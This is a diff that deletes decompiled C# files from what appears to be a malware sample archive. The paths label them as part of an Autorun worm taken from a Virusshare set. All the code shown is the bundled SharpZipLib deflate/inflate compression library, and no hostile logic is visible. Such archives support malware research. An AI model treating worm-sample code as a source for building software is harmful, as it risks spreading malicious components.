DeflaterHuffman.staticLCodes[index1] = DeflaterHuffman.BitReverse(256 + index1 << 7);
for (; index1 < 280; DeflaterHuffman.staticLLength[index1++] = (byte) 7)
DeflaterHuffman.staticLCodes[index1] = DeflaterHuffman.BitReverse(index1 - 256 << 9);
for (; index1 < DeflaterHuffman.LITERAL_NUM; DeflaterHuffman.staticLLength[index1++] = (byte) 8)
DeflaterHuffman.staticLCodes[index1] = DeflaterHuffman.BitReverse(index1 - 88 << 8);
DeflaterHuffman.staticDCodes = new short[(int) checked ((uint) DeflaterHuffman.DIST_NUM)];
DeflaterHuffman.staticDLength = new byte[(int) checked ((uint) DeflaterHuffman.DIST_NUM)];
for (int index2 = 0; index2 < DeflaterHuffman.DIST_NUM; ++index2)
{
DeflaterHuffman.staticDCodes[index2] = DeflaterHuffman.BitReverse(index2 << 11);
DeflaterHuffman.staticDLength[index2] = (byte) 5;
}
}
public DeflaterHuffman(DeflaterPending pending)
{
this.pending = pending;
this.literalTree = new DeflaterHuffman.Tree(this, DeflaterHuffman.LITERAL_NUM, 257, 15);
this.distTree = new DeflaterHuffman.Tree(this, DeflaterHuffman.DIST_NUM, 1, 15);
this.blTree = new DeflaterHuffman.Tree(this, DeflaterHuffman.BITLEN_NUM, 4, 7);
this.d_buf = new short[(int) checked ((uint) DeflaterHuffman.BUFSIZE)];
this.l_buf = new byte[(int) checked ((uint) DeflaterHuffman.BUFSIZE)];
}
public void Reset()
{
this.last_lit = 0;
this.extra_bits = 0;
this.literalTree.Reset();
this.distTree.Reset();
this.blTree.Reset();
}
private int L_code(int len)
{
if (len == (int) byte.MaxValue)
return 285;
int num = 257;
for (; len >= 8; len >>= 1)
num += 4;
return num + len;
}
private int D_code(int distance)
{
int num = 0;
for (; distance >= 4; distance >>= 1)
num += 2;
return num + distance;
}
public void SendAllTrees(int blTreeCodes)
{
this.blTree.BuildCodes();
this.literalTree.BuildCodes();
this.distTree.BuildCodes();
this.pending.WriteBits(this.literalTree.numCodes - 257, 5);
this.pending.WriteBits(this.distTree.numCodes - 1, 5);
this.pending.WriteBits(blTreeCodes - 4, 4);
for (int index = 0; index < blTreeCodes; ++index)
this.pending.WriteBits((int) this.blTree.length[DeflaterHuffman.BL_ORDER[index]], 3);
this.literalTree.WriteTree(this.blTree);
this.distTree.WriteTree(this.blTree);
}
public void CompressBlock()
{
for (int index = 0; index < this.last_lit; ++index)
{
int num1 = (int) this.l_buf[index] & (int) byte.MaxValue;
int num2 = (int) this.d_buf[index];
int distance = num2 - 1;
if (num2 != 0)
{
int code1 = this.L_code(num1);
this.literalTree.WriteSymbol(code1);
int count1 = (code1 - 261) / 4;
if (count1 > 0 && count1 <= 5)
this.pending.WriteBits(num1 & (1 << count1) - 1, count1);
int code2 = this.D_code(distance);
this.distTree.WriteSymbol(code2);
int count2 = code2 / 2 - 1;
if (count2 > 0)
this.pending.WriteBits(distance & (1 << count2) - 1, count2);
}
else
this.literalTree.WriteSymbol(num1);
}
this.literalTree.WriteSymbol(DeflaterHuffman.EOF_SYMBOL);
}
public void FlushStoredBlock(byte[] stored, int stored_offset, int stored_len, bool lastBlock)
{
this.pending.WriteBits(lastBlock ? 1 : 0, 3);
this.pending.AlignToByte();
this.pending.WriteShort(stored_len);
this.pending.WriteShort(~stored_len);
this.pending.WriteBlock(stored, stored_offset, stored_len);
this.Reset();
}
public void FlushBlock(byte[] stored, int stored_offset, int stored_len, bool lastBlock)
{
short[] freqs;
IntPtr eofSymbol;
(freqs = this.literalTree.freqs)[(int) (eofSymbol = (IntPtr) DeflaterHuffman.EOF_SYMBOL)] = (short) ((int) freqs[eofSymbol] + 1);
this.literalTree.BuildTree();
this.distTree.BuildTree();
this.literalTree.CalcBLFreq(this.blTree);
this.distTree.CalcBLFreq(this.blTree);
this.blTree.BuildTree();
int blTreeCodes = 4;
for (int index = 18; index > blTreeCodes; --index)
{
if (this.blTree.length[DeflaterHuffman.BL_ORDER[index]] > (byte) 0)
blTreeCodes = index + 1;
}
int num = 14 + blTreeCodes * 3 + this.blTree.GetEncodedLength() + this.literalTree.GetEncodedLength() + this.distTree.GetEncodedLength() + this.extra_bits;
int extraBits = this.extra_bits;
for (int index = 0; index < DeflaterHuffman.LITERAL_NUM; ++index)
extraBits += (int) this.literalTree.freqs[index] * (int) DeflaterHuffman.staticLLength[index];
for (int index = 0; index < DeflaterHuffman.DIST_NUM; ++index)
extraBits += (int) this.distTree.freqs[index] * (int) DeflaterHuffman.staticDLength[index];
if (num >= extraBits)
num = extraBits;
if (stored_offset >= 0 && stored_len + 4 < num >> 3)
this.FlushStoredBlock(stored, stored_offset, stored_len, lastBlock);
else if (num == extraBits)
{
this.pending.WriteBits(2 + (lastBlock ? 1 : 0), 3);
this.literalTree.SetStaticCodes(DeflaterHuffman.staticLCodes, DeflaterHuffman.staticLLength);
this.distTree.SetStaticCodes(DeflaterHuffman.staticDCodes, DeflaterHuffman.staticDLength);
this.CompressBlock();
this.Reset();
}
else
{
this.pending.WriteBits(4 + (lastBlock ? 1 : 0), 3);
this.SendAllTrees(blTreeCodes);
this.CompressBlock();
this.Reset();
}
}
public bool IsFull() => this.last_lit + 16 >= DeflaterHuffman.BUFSIZE;
public bool TallyLit(int lit)
{
this.d_buf[this.last_lit] = (short) 0;
this.l_buf[this.last_lit++] = (byte) lit;
short[] freqs;
IntPtr index;
(freqs = this.literalTree.freqs)[(int) (index = (IntPtr) lit)] = (short) ((int) freqs[index] + 1);
return this.IsFull();
}
public bool TallyDist(int dist, int len)
{
this.d_buf[this.last_lit] = (short) dist;
this.l_buf[this.last_lit++] = (byte) (len - 3);
int num1 = this.L_code(len - 3);
short[] freqs1;
IntPtr index1;
(freqs1 = this.literalTree.freqs)[(int) (index1 = (IntPtr) num1)] = (short) ((int) freqs1[index1] + 1);
if (num1 >= 265 && num1 < 285)
this.extra_bits += (num1 - 261) / 4;
int num2 = this.D_code(dist - 1);
short[] freqs2;
IntPtr index2;
(freqs2 = this.distTree.freqs)[(int) (index2 = (IntPtr) num2)] = (short) ((int) freqs2[index2] + 1);
if (num2 >= 4)
this.extra_bits += num2 / 2 - 1;
return this.IsFull();
}
public class Tree
{
public short[] freqs;
public short[] codes;
public byte[] length;
public int[] bl_counts;
public int minNumCodes;
public int numCodes;
public int maxLength;
private DeflaterHuffman dh;
public Tree(DeflaterHuffman dh, int elems, int minCodes, int maxLength)
{
this.dh = dh;
this.minNumCodes = minCodes;
this.maxLength = maxLength;
this.freqs = new short[(int) checked ((uint) elems)];
this.bl_counts = new int[(int) checked ((uint) maxLength)];
}
public void Reset()
{
for (int index = 0; index < this.freqs.Length; ++index)
this.freqs[index] = (short) 0;
this.codes = (short[]) null;
this.length = (byte[]) null;
}
public void WriteSymbol(int code) => this.dh.pending.WriteBits((int) this.codes[code] & (int) ushort.MaxValue, (int) this.length[code]);
public void CheckEmpty()
{
bool flag = true;
for (int index = 0; index < this.freqs.Length; ++index)
{
if (this.freqs[index] != (short) 0)
flag = false;
}
if (!flag)
throw new Exception();
}
public void SetStaticCodes(short[] stCodes, byte[] stLength)
{
this.codes = stCodes;
this.length = stLength;
}
public void BuildCodes()
{
int length = this.freqs.Length;
int[] numArray = new int[(int) checked ((uint) this.maxLength)];
int num1 = 0;
this.codes = new short[(int) checked ((uint) this.freqs.Length)];
for (int index = 0; index < this.maxLength; ++index)
{
numArray[index] = num1;
num1 += this.bl_counts[index] << 15 - index;
}
for (int index = 0; index < this.numCodes; ++index)
{
int num2 = (int) this.length[index];
if (num2 > 0)
{
this.codes[index] = DeflaterHuffman.BitReverse(numArray[num2 - 1]);
numArray[num2 - 1] += 1 << 16 - num2;
}
}
}
private void BuildLength(int[] childs)
{
this.length = new byte[(int) checked ((uint) this.freqs.Length)];
int length = childs.Length / 2;
int num1 = (length + 1) / 2;
int num2 = 0;
for (int index = 0; index < this.maxLength; ++index)
this.bl_counts[index] = 0;
int[] numArray1 = new int[(int) checked ((uint) length)];
numArray1[length - 1] = 0;
for (int index = length - 1; index >= 0; --index)
{
if (childs[2 * index + 1] != -1)
{
int num3 = numArray1[index] + 1;
if (num3 > this.maxLength)
{
num3 = this.maxLength;
++num2;
}
numArray1[childs[2 * index]] = numArray1[childs[2 * index + 1]] = num3;
}
else
{
++this.bl_counts[numArray1[index] - 1];
this.length[childs[2 * index]] = (byte) numArray1[index];
}
}
if (num2 == 0)
return;
int index1 = this.maxLength - 1;
do
{
do
;
while (this.bl_counts[--index1] == 0);
do
{
--this.bl_counts[index1];
int[] blCounts;
int[] numArray2 = blCounts = this.bl_counts;
int index2;
index1 = index2 = index1 + 1;
int index3 = index2;
int num4 = numArray2[(IntPtr) index3] + 1;
blCounts[index2] = num4;
num2 -= 1 << this.maxLength - 1 - index1;
}
while (num2 > 0 && index1 < this.maxLength - 1);
}
while (num2 > 0);
this.bl_counts[this.maxLength - 1] += num2;
this.bl_counts[this.maxLength - 2] -= num2;
int num5 = 2 * num1;
for (int maxLength = this.maxLength; maxLength != 0; --maxLength)
{
int blCount = this.bl_counts[maxLength - 1];
while (blCount > 0)
{
int index4 = 2 * childs[num5++];
if (childs[index4 + 1] == -1)
{
this.length[childs[index4]] = (byte) maxLength;
--blCount;
}
}
}
}
public void BuildTree()
{
int length = this.freqs.Length;
int[] numArray1 = new int[(int) checked ((uint) length)];
int num1 = 0;
int num2 = 0;
for (int index1 = 0; index1 < length; ++index1)
{
int freq = (int) this.freqs[index1];
if (freq != 0)
{
int index2;
int index3;
for (index2 = num1++; index2 > 0 && (int) this.freqs[numArray1[index3 = (index2 - 1) / 2]] > freq; index2 = index3)
numArray1[index2] = numArray1[index3];
numArray1[index2] = index1;
num2 = index1;
}
}
int num3;
for (; num1 < 2; numArray1[num1++] = num3)
{
int num4;
if (num2 >= 2)
num4 = 0;
else
num2 = num4 = num2 + 1;
num3 = num4;
}
this.numCodes = Math.Max(num2 + 1, this.minNumCodes);
int num5 = num1;
int[] childs = new int[(int) checked ((uint) unchecked (4 * num1 - 2))];
int[] numArray2 = new int[(int) checked ((uint) unchecked (2 * num1 - 1))];
int num6 = num5;
for (int index4 = 0; index4 < num1; ++index4)
{
int index5 = numArray1[index4];
childs[2 * index4] = index5;
childs[2 * index4 + 1] = -1;
numArray2[index4] = (int) this.freqs[index5] << 8;
numArray1[index4] = index4;
}
do
{
int index6 = numArray1[0];
int index7 = numArray1[--num1];
int index8 = 0;
for (int index9 = 1; index9 < num1; index9 = index9 * 2 + 1)
{
if (index9 + 1 < num1 && numArray2[numArray1[index9]] > numArray2[numArray1[index9 + 1]])
++index9;
numArray1[index8] = numArray1[index9];
index8 = index9;
}
int num7 = numArray2[index7];
int index10;
while ((index10 = index8) > 0 && numArray2[numArray1[index8 = (index10 - 1) / 2]] > num7)
numArray1[index10] = numArray1[index8];
numArray1[index10] = index7;
int index11 = numArray1[0];
int index12 = num6++;
childs[2 * index12] = index6;
childs[2 * index12 + 1] = index11;
int num8 = Math.Min(numArray2[index6] & (int) byte.MaxValue, numArray2[index11] & (int) byte.MaxValue);
int num9;
numArray2[index12] = num9 = numArray2[index6] + numArray2[index11] - num8 + 1;
int index13 = 0;
for (int index14 = 1; index14 < num1; index14 = index13 * 2 + 1)
{
if (index14 + 1 < num1 && numArray2[numArray1[index14]] > numArray2[numArray1[index14 + 1]])
++index14;
numArray1[index13] = numArray1[index14];
index13 = index14;
}
int index15;
while ((index15 = index13) > 0 && numArray2[numArray1[index13 = (index15 - 1) / 2]] > num9)
numArray1[index15] = numArray1[index13];
numArray1[index15] = index12;
}
while (num1 > 1);
if (numArray1[0] != childs.Length / 2 - 1)
throw new Exception("Weird!");
this.BuildLength(childs);
}
public int GetEncodedLength()
{
int encodedLength = 0;
for (int index = 0; index < this.freqs.Length; ++index)
encodedLength += (int) this.freqs[index] * (int) this.length[index];
return encodedLength;
}
public void CalcBLFreq(DeflaterHuffman.Tree blTree)
{
int num1 = -1;
int index1 = 0;
while (index1 < this.numCodes)
{
int num2 = 1;
int num3 = (int) this.length[index1];
int num4;
int num5;
if (num3 == 0)
{
num4 = 138;
num5 = 3;
}
else
{
num4 = 6;
num5 = 3;
if (num1 != num3)
{
short[] freqs;
IntPtr index2;
(freqs = blTree.freqs)[(int) (index2 = (IntPtr) num3)] = (short) ((int) freqs[index2] + 1);
num2 = 0;
}
}
num1 = num3;
++index1;
while (index1 < this.numCodes && num1 == (int) this.length[index1])
{
++index1;
if (++num2 >= num4)
break;
}
if (num2 < num5)
{
short[] freqs;
IntPtr index3;
(freqs = blTree.freqs)[(int) (index3 = (IntPtr) num1)] = (short) ((int) freqs[index3] + (int) (short) num2);
}
else if (num1 != 0)
{
short[] freqs;
IntPtr rep36;
(freqs = blTree.freqs)[(int) (rep36 = (IntPtr) DeflaterHuffman.REP_3_6)] = (short) ((int) freqs[rep36] + 1);
}
else if (num2 <= 10)
{
short[] freqs;
IntPtr rep310;
(freqs = blTree.freqs)[(int) (rep310 = (IntPtr) DeflaterHuffman.REP_3_10)] = (short) ((int) freqs[rep310] + 1);
}
else
{
short[] freqs;
IntPtr rep11138;
(freqs = blTree.freqs)[(int) (rep11138 = (IntPtr) DeflaterHuffman.REP_11_138)] = (short) ((int) freqs[rep11138] + 1);
}
}
}
public void WriteTree(DeflaterHuffman.Tree blTree)
{
int code1 = -1;
int index = 0;
while (index < this.numCodes)
{
int num1 = 1;
int code2 = (int) this.length[index];
int num2;
int num3;
if (code2 == 0)
{
num2 = 138;
num3 = 3;
}
else
{
num2 = 6;
num3 = 3;
if (code1 != code2)
{
blTree.WriteSymbol(code2);
num1 = 0;
}
}
code1 = code2;
++index;
while (index < this.numCodes && code1 == (int) this.length[index])
{
++index;
if (++num1 >= num2)
break;
}
if (num1 < num3)
{
while (num1-- > 0)
blTree.WriteSymbol(code1);
}
else if (code1 != 0)
{
blTree.WriteSymbol(DeflaterHuffman.REP_3_6);
this.dh.pending.WriteBits(num1 - 3, 2);
}
else if (num1 <= 10)
{
blTree.WriteSymbol(DeflaterHuffman.REP_3_10);
this.dh.pending.WriteBits(num1 - 3, 3);
}
else
{
blTree.WriteSymbol(DeflaterHuffman.REP_11_138);
this.dh.pending.WriteBits(num1 - 11, 7);
}
}
}
}
}
}

16
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/Zip/Compression/DeflaterPending.cs
View File

@ -1,16 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ICSharpCode.SharpZipLib.Zip.Compression.DeflaterPending
// Assembly: Done, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: EBE6DCED-6866-44D2-B309-A0C25849858B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.exe
namespace ICSharpCode.SharpZipLib.Zip.Compression
{
public class DeflaterPending : PendingBuffer
{
public DeflaterPending()
: base(65536)
{
}
}
}

486
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/Zip/Compression/Inflater.cs
View File

@ -1,486 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ICSharpCode.SharpZipLib.Zip.Compression.Inflater
// Assembly: Done, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: EBE6DCED-6866-44D2-B309-A0C25849858B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.exe
using ICSharpCode.SharpZipLib.Checksums;
using ICSharpCode.SharpZipLib.Zip.Compression.Streams;
using System;
namespace ICSharpCode.SharpZipLib.Zip.Compression
{
public class Inflater
{
private const int DECODE_HEADER = 0;
private const int DECODE_DICT = 1;
private const int DECODE_BLOCKS = 2;
private const int DECODE_STORED_LEN1 = 3;
private const int DECODE_STORED_LEN2 = 4;
private const int DECODE_STORED = 5;
private const int DECODE_DYN_HEADER = 6;
private const int DECODE_HUFFMAN = 7;
private const int DECODE_HUFFMAN_LENBITS = 8;
private const int DECODE_HUFFMAN_DIST = 9;
private const int DECODE_HUFFMAN_DISTBITS = 10;
private const int DECODE_CHKSUM = 11;
private const int FINISHED = 12;
private static int[] CPLENS = new int[29]
{
3,
4,
5,
6,
7,
8,
9,
10,
11,
13,
15,
17,
19,
23,
27,
31,
35,
43,
51,
59,
67,
83,
99,
115,
131,
163,
195,
227,
258
};
private static int[] CPLEXT = new int[29]
{
0,
0,
0,
0,
0,
0,
0,
0,
1,
1,
1,
1,
2,
2,
2,
2,
3,
3,
3,
3,
4,
4,
4,
4,
5,
5,
5,
5,
0
};
private static int[] CPDIST = new int[30]
{
1,
2,
3,
4,
5,
7,
9,
13,
17,
25,
33,
49,
65,
97,
129,
193,
257,
385,
513,
769,
1025,
1537,
2049,
3073,
4097,
6145,
8193,
12289,
16385,
24577
};
private static int[] CPDEXT = new int[30]
{
0,
0,
0,
0,
1,
1,
2,
2,
3,
3,
4,
4,
5,
5,
6,
6,
7,
7,
8,
8,
9,
9,
10,
10,
11,
11,
12,
12,
13,
13
};
private int mode;
private int readAdler;
private int neededBits;
private int repLength;
private int repDist;
private int uncomprLen;
private bool isLastBlock;
private int totalOut;
private int totalIn;
private bool nowrap;
private StreamManipulator input;
private OutputWindow outputWindow;
private InflaterDynHeader dynHeader;
private InflaterHuffmanTree litlenTree;
private InflaterHuffmanTree distTree;
private Adler32 adler;
public Inflater()
: this(false)
{
}
public Inflater(bool nowrap)
{
this.nowrap = nowrap;
this.adler = new Adler32();
this.input = new StreamManipulator();
this.outputWindow = new OutputWindow();
this.mode = nowrap ? 2 : 0;
}
public void Reset()
{
this.mode = this.nowrap ? 2 : 0;
this.totalIn = this.totalOut = 0;
this.input.Reset();
this.outputWindow.Reset();
this.dynHeader = (InflaterDynHeader) null;
this.litlenTree = (InflaterHuffmanTree) null;
this.distTree = (InflaterHuffmanTree) null;
this.isLastBlock = false;
this.adler.Reset();
}
private bool DecodeHeader()
{
int num1 = this.input.PeekBits(16);
if (num1 < 0)
return false;
this.input.DropBits(16);
int num2 = (num1 << 8 | num1 >> 8) & (int) ushort.MaxValue;
if (num2 % 31 != 0)
throw new FormatException("Header checksum illegal");
if ((num2 & 3840) != Deflater.DEFLATED << 8)
throw new FormatException("Compression Method unknown");
if ((num2 & 32) == 0)
{
this.mode = 2;
}
else
{
this.mode = 1;
this.neededBits = 32;
}
return true;
}
private bool DecodeDict()
{
for (; this.neededBits > 0; this.neededBits -= 8)
{
int num = this.input.PeekBits(8);
if (num < 0)
return false;
this.input.DropBits(8);
this.readAdler = this.readAdler << 8 | num;
}
return false;
}
private bool DecodeHuffman()
{
int freeSpace = this.outputWindow.GetFreeSpace();
while (freeSpace >= 258)
{
switch (this.mode)
{
case 7:
int symbol1;
while (((symbol1 = this.litlenTree.GetSymbol(this.input)) & -256) == 0)
{
this.outputWindow.Write(symbol1);
if (--freeSpace < 258)
return true;
}
if (symbol1 < 257)
{
if (symbol1 < 0)
return false;
this.distTree = (InflaterHuffmanTree) null;
this.litlenTree = (InflaterHuffmanTree) null;
this.mode = 2;
return true;
}
try
{
this.repLength = Inflater.CPLENS[symbol1 - 257];
this.neededBits = Inflater.CPLEXT[symbol1 - 257];
goto case 8;
}
catch (Exception ex)
{
throw new FormatException("Illegal rep length code");
}
case 8:
if (this.neededBits > 0)
{
this.mode = 8;
int num = this.input.PeekBits(this.neededBits);
if (num < 0)
return false;
this.input.DropBits(this.neededBits);
this.repLength += num;
}
this.mode = 9;
goto case 9;
case 9:
int symbol2 = this.distTree.GetSymbol(this.input);
if (symbol2 < 0)
return false;
try
{
this.repDist = Inflater.CPDIST[symbol2];
this.neededBits = Inflater.CPDEXT[symbol2];
goto case 10;
}
catch (Exception ex)
{
throw new FormatException("Illegal rep dist code");
}
case 10:
if (this.neededBits > 0)
{
this.mode = 10;
int num = this.input.PeekBits(this.neededBits);
if (num < 0)
return false;
this.input.DropBits(this.neededBits);
this.repDist += num;
}
this.outputWindow.Repeat(this.repLength, this.repDist);
freeSpace -= this.repLength;
this.mode = 7;
continue;
default:
throw new FormatException();
}
}
return true;
}
private bool DecodeChksum()
{
for (; this.neededBits > 0; this.neededBits -= 8)
{
int num = this.input.PeekBits(8);
if (num < 0)
return false;
this.input.DropBits(8);
this.readAdler = this.readAdler << 8 | num;
}
if ((int) this.adler.Value != this.readAdler)
throw new FormatException("Adler chksum doesn't match: " + (object) (int) this.adler.Value + " vs. " + (object) this.readAdler);
this.mode = 12;
return false;
}
private bool Decode()
{
switch (this.mode)
{
case 0:
return this.DecodeHeader();
case 1:
return this.DecodeDict();
case 2:
if (this.isLastBlock)
{
if (this.nowrap)
{
this.mode = 12;
return false;
}
this.input.SkipToByteBoundary();
this.neededBits = 32;
this.mode = 11;
return true;
}
int num1 = this.input.PeekBits(3);
if (num1 < 0)
return false;
this.input.DropBits(3);
if ((num1 & 1) != 0)
this.isLastBlock = true;
switch (num1 >> 1)
{
case 0:
this.input.SkipToByteBoundary();
this.mode = 3;
break;
case 1:
this.litlenTree = InflaterHuffmanTree.defLitLenTree;
this.distTree = InflaterHuffmanTree.defDistTree;
this.mode = 7;
break;
case 2:
this.dynHeader = new InflaterDynHeader();
this.mode = 6;
break;
default:
throw new FormatException("Unknown block type " + (object) num1);
}
return true;
case 3:
if ((this.uncomprLen = this.input.PeekBits(16)) < 0)
return false;
this.input.DropBits(16);
this.mode = 4;
goto case 4;
case 4:
int num2 = this.input.PeekBits(16);
if (num2 < 0)
return false;
this.input.DropBits(16);
if (num2 != (this.uncomprLen ^ (int) ushort.MaxValue))
throw new FormatException("broken uncompressed block");
this.mode = 5;
goto case 5;
case 5:
this.uncomprLen -= this.outputWindow.CopyStored(this.input, this.uncomprLen);
if (this.uncomprLen != 0)
return !this.input.IsNeedingInput;
this.mode = 2;
return true;
case 6:
if (!this.dynHeader.Decode(this.input))
return false;
this.litlenTree = this.dynHeader.BuildLitLenTree();
this.distTree = this.dynHeader.BuildDistTree();
this.mode = 7;
goto case 7;
case 7:
case 8:
case 9:
case 10:
return this.DecodeHuffman();
case 11:
return this.DecodeChksum();
case 12:
return false;
default:
throw new FormatException();
}
}
public void SetDictionary(byte[] buffer) => this.SetDictionary(buffer, 0, buffer.Length);
public void SetDictionary(byte[] buffer, int off, int len)
{
if (!this.IsNeedingDictionary)
throw new InvalidOperationException();
this.adler.Update(buffer, off, len);
if ((int) this.adler.Value != this.readAdler)
throw new ArgumentException("Wrong adler checksum");
this.adler.Reset();
this.outputWindow.CopyDict(buffer, off, len);
this.mode = 2;
}
public void SetInput(byte[] buf) => this.SetInput(buf, 0, buf.Length);
public void SetInput(byte[] buf, int off, int len)
{
this.input.SetInput(buf, off, len);
this.totalIn += len;
}
public int Inflate(byte[] buf) => this.Inflate(buf, 0, buf.Length);
public int Inflate(byte[] buf, int off, int len)
{
if (len < 0)
throw new ArgumentOutOfRangeException("len < 0");
if (len == 0)
return 0;
int num = 0;
do
{
if (this.mode != 11)
{
int len1 = this.outputWindow.CopyOutput(buf, off, len);
this.adler.Update(buf, off, len1);
off += len1;
num += len1;
this.totalOut += len1;
len -= len1;
if (len == 0)
return num;
}
}
while (this.Decode() || this.outputWindow.GetAvailable() > 0 && this.mode != 11);
return num;
}
public bool IsNeedingInput => this.input.IsNeedingInput;
public bool IsNeedingDictionary => this.mode == 1 && this.neededBits == 0;
public bool IsFinished => this.mode == 12 && this.outputWindow.GetAvailable() == 0;
public int Adler => this.IsNeedingDictionary ? this.readAdler : (int) this.adler.Value;
public int TotalOut => this.totalOut;
public int TotalIn => this.totalIn - this.RemainingInput;
public int RemainingInput => this.input.AvailableBytes;
}
}

203
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/Zip/Compression/InflaterDynHeader.cs
View File

@ -1,203 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ICSharpCode.SharpZipLib.Zip.Compression.InflaterDynHeader
// Assembly: Done, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: EBE6DCED-6866-44D2-B309-A0C25849858B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.exe
using ICSharpCode.SharpZipLib.Zip.Compression.Streams;
using System;
namespace ICSharpCode.SharpZipLib.Zip.Compression
{
internal class InflaterDynHeader
{
private const int LNUM = 0;
private const int DNUM = 1;
private const int BLNUM = 2;
private const int BLLENS = 3;
private const int LENS = 4;
private const int REPS = 5;
private static readonly int[] repMin = new int[3]
{
3,
3,
11
};
private static readonly int[] repBits = new int[3]
{
2,
3,
7
};
private byte[] blLens;
private byte[] litdistLens;
private InflaterHuffmanTree blTree;
private int mode;
private int lnum;
private int dnum;
private int blnum;
private int num;
private int repSymbol;
private byte lastLen;
private int ptr;
private static readonly int[] BL_ORDER = new int[19]
{
16,
17,
18,
0,
8,
7,
9,
6,
10,
5,
11,
4,
12,
3,
13,
2,
14,
1,
15
};
public bool Decode(StreamManipulator input)
{
while (true)
{
label_1:
switch (this.mode)
{
case 0:
this.lnum = input.PeekBits(5);
if (this.lnum >= 0)
{
this.lnum += 257;
input.DropBits(5);
this.mode = 1;
goto case 1;
}
else
goto label_3;
case 1:
this.dnum = input.PeekBits(5);
if (this.dnum >= 0)
{
++this.dnum;
input.DropBits(5);
this.num = this.lnum + this.dnum;
this.litdistLens = new byte[(int) checked ((uint) this.num)];
this.mode = 2;
goto case 2;
}
else
goto label_6;
case 2:
this.blnum = input.PeekBits(4);
if (this.blnum >= 0)
{
this.blnum += 4;
input.DropBits(4);
this.blLens = new byte[19];
this.ptr = 0;
this.mode = 3;
goto case 3;
}
else
goto label_9;
case 3:
for (; this.ptr < this.blnum; ++this.ptr)
{
int num = input.PeekBits(3);
if (num < 0)
return false;
input.DropBits(3);
this.blLens[InflaterDynHeader.BL_ORDER[this.ptr]] = (byte) num;
}
this.blTree = new InflaterHuffmanTree(this.blLens);
this.blLens = (byte[]) null;
this.ptr = 0;
this.mode = 4;
goto case 4;
case 4:
int symbol;
while (((symbol = this.blTree.GetSymbol(input)) & -16) == 0)
{
this.litdistLens[this.ptr++] = this.lastLen = (byte) symbol;
if (this.ptr == this.num)
return true;
}
if (symbol >= 0)
{
if (symbol >= 17)
this.lastLen = (byte) 0;
else if (this.ptr == 0)
goto label_24;
this.repSymbol = symbol - 16;
this.mode = 5;
goto case 5;
}
else
goto label_20;
case 5:
int repBit = InflaterDynHeader.repBits[this.repSymbol];
int num1 = input.PeekBits(repBit);
if (num1 >= 0)
{
input.DropBits(repBit);
int num2 = num1 + InflaterDynHeader.repMin[this.repSymbol];
if (this.ptr + num2 <= this.num)
{
while (num2-- > 0)
this.litdistLens[this.ptr++] = this.lastLen;
if (this.ptr != this.num)
{
this.mode = 4;
continue;
}
goto label_33;
}
else
goto label_29;
}
else
goto label_27;
default:
goto label_1;
}
}
label_3:
return false;
label_6:
return false;
label_9:
return false;
label_20:
return false;
label_24:
throw new Exception();
label_27:
return false;
label_29:
throw new Exception();
label_33:
return true;
}
public InflaterHuffmanTree BuildLitLenTree()
{
byte[] numArray = new byte[(int) checked ((uint) this.lnum)];
Array.Copy((Array) this.litdistLens, 0, (Array) numArray, 0, this.lnum);
return new InflaterHuffmanTree(numArray);
}
public InflaterHuffmanTree BuildDistTree()
{
byte[] numArray = new byte[(int) checked ((uint) this.dnum)];
Array.Copy((Array) this.litdistLens, this.lnum, (Array) numArray, 0, this.dnum);
return new InflaterHuffmanTree(numArray);
}
}
}

154
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/Zip/Compression/InflaterHuffmanTree.cs
View File

@ -1,154 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ICSharpCode.SharpZipLib.Zip.Compression.InflaterHuffmanTree
// Assembly: Done, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: EBE6DCED-6866-44D2-B309-A0C25849858B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.exe
using ICSharpCode.SharpZipLib.Zip.Compression.Streams;
using System;
namespace ICSharpCode.SharpZipLib.Zip.Compression
{
public class InflaterHuffmanTree
{
private static int MAX_BITLEN = 15;
private short[] tree;
public static InflaterHuffmanTree defLitLenTree;
public static InflaterHuffmanTree defDistTree;
static InflaterHuffmanTree()
{
try
{
byte[] codeLengths1 = new byte[288];
int num1 = 0;
while (num1 < 144)
codeLengths1[num1++] = (byte) 8;
while (num1 < 256)
codeLengths1[num1++] = (byte) 9;
while (num1 < 280)
codeLengths1[num1++] = (byte) 7;
while (num1 < 288)
codeLengths1[num1++] = (byte) 8;
InflaterHuffmanTree.defLitLenTree = new InflaterHuffmanTree(codeLengths1);
byte[] codeLengths2 = new byte[32];
int num2 = 0;
while (num2 < 32)
codeLengths2[num2++] = (byte) 5;
InflaterHuffmanTree.defDistTree = new InflaterHuffmanTree(codeLengths2);
}
catch (Exception ex)
{
throw new ApplicationException("InflaterHuffmanTree: static tree length illegal");
}
}
public InflaterHuffmanTree(byte[] codeLengths) => this.BuildTree(codeLengths);
private void BuildTree(byte[] codeLengths)
{
int[] numArray1 = new int[(int) checked ((uint) unchecked (InflaterHuffmanTree.MAX_BITLEN + 1))];
